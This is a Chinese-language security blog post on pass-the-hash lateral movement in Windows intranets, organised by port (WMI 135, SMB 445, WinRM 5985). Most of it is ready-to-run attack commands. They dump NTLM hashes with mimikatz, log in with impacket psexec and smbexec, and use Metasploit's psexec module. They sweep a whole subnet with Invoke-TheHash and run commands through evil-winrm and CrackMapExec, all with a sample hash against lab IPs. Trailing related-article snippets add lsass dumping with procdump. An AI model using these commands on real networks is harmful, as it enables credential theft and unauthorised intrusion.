内网各端口hash传递技巧

VSole2023-03-27 10:00:20

01

前⾔

随着攻防演练的频繁和⼈们安全意识的提升,企业内部Windows主机的⼝令也设置的较为复杂,经 常拿到windows 服务器的时候,获取到了hash,但是⽆法解密出密码的情况,这时候就需要⽤到内⽹ hash 传递技术。使⽤该⽅法,攻击者不需要花费时间来怼hash进⾏爆破,常常适⽤于域/⼯作组等环境中。

02

测试环境

Windows server 2012 ⾸先需要获取ntml hash,由于直接从内存读取到的可能是密码修改之前的hash,这⾥推荐从sam⽂件中读取

mimikatz.exe "log" "privilege::debug" "token::elevate" "lsadump::sam""exit"

这⾥获取到的是:47bf8039a8506cd67c524a03ff84ba4e


对于⼀些远程命令的执⾏⽅式和依赖端⼝

IPC$+AT   445
PSEXEC 445
WMI 135
Winrm    5985(HTTP) 5986(HTTPS)

135 端⼝wmi 哈希传递

wmi (Windows management Instrumentation) 即 windows 管理⼯具,windows 98 之后的操作 系统都⽀持wmi,默认开启,且windows 默认不会将wmi 的操作记录到⽇志。wmi 并不⽀持直接执⾏命令,但可以执⾏⽂件,通过增加执⾏程序参数的⽅式执⾏命令的效果;但 是wmi 是不⽀持返回的,执⾏完之后并不能看到回显


有些⼯具的原理是wmi 创建进程执⾏命令,然后将结果输出到⽂件,这个⽂件位于创建的共享⽂件 夹中,然后通过FSO组件访问远程共享⽂件夹中的结果,将⽂件进⾏输出。读取完成后,执⾏wmi 命令删除⽂件,然后退出删除⽂件共享。其中常⽤的⼯具是impacket 中的wimiexec 利⽤⽅式如下,此时的135 和445 端⼝都开放

若遇到只开放135的情况,可以增加nooutput 参数,不进⾏输出


成功执⾏了whoami 命令

另外,还可通过wmicmd.exe 进⾏利⽤;WMICMD的执⾏过程是吧结果写⼊倒注册表,之后读 取完注册表之后并删除,然后回显到本地,由于wmi 可以远程操作注册表的信息,查询的注册表 信息会产⽣回显

https://github.com/nccgroup/WMIcmd

445 端⼝ SMB hash 传递445 端⼝ SMB hash 传递

利⽤Windows 的smb服务⾸先需要建⽴ipc,可以使⽤hash 传递来进⾏攻击,需要⽬标防⽕ 墙允许445 端⼝的通过。PsExec 是⼀种轻型 telnet-replacement,可⽤于在其他系统上执⾏进 程,⽆需⼿动安装客户端软件即可完成 控制台应⽤程序的完整交互性。 

Impacket

利⽤impacket 中的psexec 程序,命令如下:

python3 psexec.py -hashes 0:47bf8039a8506cd67c524a03ff84ba4e
Administrator@192.168.31.61


利⽤impacket 中的smbexec 程序,命令如下

python3 smbexec.py -hashes
00000000000000000000000000000000:47bf8039a8506cd67c524a03ff84ba4e
Administrator@192.168.31.61

利⽤msf

利⽤msf 进⾏pth

use exploit/windows/smb/psexec
set rhosts 192.168.31.194
set smbuser administrator
set smbpass
00000000000000000000000000000000:47bf8039a8506cd67c524a03ff84ba4e

03

通过powershell 批量

脚本地址:

https://github.com/Kevin-Robertson/Invoke-TheHash
本地加载powershell脚本:
powershell -exec bypass
SET-EXECUTIONPOL
ICY REMOTESIGNED
Import-Module .\Invoke-WMIExec.ps1
Import-Module .\Invoke-TheHash.ps1
# 利⽤已知的hash 对内⽹主机进⾏批量,域环境
Invoke-TheHash -Type WMIExec -Target 192.168.31.1/24 -Domain qq -Username
administrator -Hash 47bf8039a8506cd67c524a03ff84ba4e
# 利⽤已知的hash 对内⽹主机进⾏批量,⼯作组环境
Invoke-TheHash -Type WMIExec -Target 192.168.31.124 -Username
administrator -Hash 47bf8039a8506cd67c524a03ff84ba4e

04

5985 HASH 传递

WinRM 是 Microsoft 对 WS-Management 协议的实现,WS-Management 协议即⼀种基于标准简单对象访问协 议[SOAP]的 “防⽕墙友好” 协议,它让来⾃不同供应商的硬件和操作系统能够互相操作。winRM的默认端⼝为 5985(http)或5986(https)。winRM横向移动同时适⽤于⼯作组和域环境。 

evil-winrm是Windows远程管理(WinRM) Shell的终极版本。Windows远程管理是“WS 管理协议的 Microsoft 实施,该协议是基于标准 SOAP、不受防⽕墙影响的协议,允许不同供应商的硬件和操 作系统相互操作。⽽微软将其包含在他们的系统中,是为了便于系统管理员在⽇常⼯作中,远程管 理服务器,或通过脚本同时管理多台服务器,以提⾼他们的⼯作效率。

在kali进⾏安装

gem install evil-winrm

执⾏以下命令

evil-winrm -i 192.168.31.194 -u Administrator -H
47bf8039a8506cd67c524a03ff84ba4e


05

CrackMapExec

另外⼀款⼯具就是CrackMapExec, 安装⽅式

#~  apt-get install -y libssl-dev libkrb5-dev libffi-dev python-dev
build-essential
#~ git clone https://github.com/Porchetta-Industries/CrackMapExec
#~ cd CrackMapExec
#~ poetry install
#~ poetry run crackmapexec

使⽤⽅式

poetry run crackmapexec winrm 192.168.31.194 -u admin -H
00000000000000000000000000000000:47bf8039a8506cd67c524a03ff84ba4e -x
whoami
hashwmi
本作品采用《CC 协议》,转载必须注明作者和本文链接
PowerView:横向移动
2021-09-29 05:48:48
使用SharpHound.ps1的Invoke-BloodHound 或者使用SharpHound.exe。两者都可以反射性地运行,在这里得到它们。 下面的例子使用PowerShell的变体,但参数是相同的。
很多人把这个原因归结于KB2871997补丁,实际上不然,这个事情的成因实际是UAC在捣乱。RID为500的账户和属于本地administrators组的域用户在通过网络远程链接时,默认就是高权限令牌。
如果找到了某个用户的ntlm hash,就可以拿这个ntlm hash当作凭证进行远程登陆了 其中若hash加密方式是 rc4 ,那么就是pass the hash 若加密方式是aes key,那么就是pass the key 注意NTLM和kerberos协议均存在PTH: NTLM自然不用多说 kerberos协议也是基于用户的client hash开始一步步认证的,自然也会受PTH
所以可以通过它传回lsass.dmp本地提取hashprocdump64.exe -accepteula -ma lsass.exe lsass.dmp 执行该指令,获取到lsass.dmp
所以可以通过它传回lsass.dmp本地提取hashprocdump64.exe -accepteula -ma lsass.exe lsass.dmp 执行该指令,获取到lsass.dmp
如果找到了某个用户的ntlm hash,就可以拿这个ntlm hash当作凭证进行远程登陆了 其中若hash加密方式是 rc4 ,那么就是pass the hash 若加密方式是aes key,那么就是pass the key 注意NTLM和kerberos协议均存在PTH: NTLM自然不用多说 kerberos协议也是基于用户的client hash开始一步步认证的,自然也会受PTH
在 Kerberos 身份验证中,客户端必须在 KDC为其提供票证授予票证 之前执行“预验证”,该票证随后可用于获取服务票证。使用时间戳而不是静态值有助于防止重放攻击。客户端有一个公私钥对,并用他们的私钥对预认证数据进行加密,KDC 用客户端的公钥对其进行解密。该属性的值是 Key Credentials这种信任模型消除了使用无密码身份验证为每个人颁发客户端证书的需要。PKINIT 允许 WHfB 用户或更传统的智能卡用户执行 Kerberos 身份验证并获得 TGT。
要日,就日一波大的。lab,但是并没有什么洞从 hunter 上的这个域名来看,确实搜不到什么信息。没截到图,为了不打草惊蛇所以先 pass。果然,不知提供了 API,甚至提供了 SQL 语句,我严重怀疑这里是不是有注入,正当我兴高采烈的访问的时候。。。。。。,再次检查了下 xray report。based 注入,甚至使用 os-shell 还没有回显。继续万能密码,依旧无权限。til 肯定是没有的,但是有 ftp 和 hh.exe。直接运行了 hh.exe 上去,发现我服务器并没有 web 请求,冷汗流了下来。
VSole
网络安全专家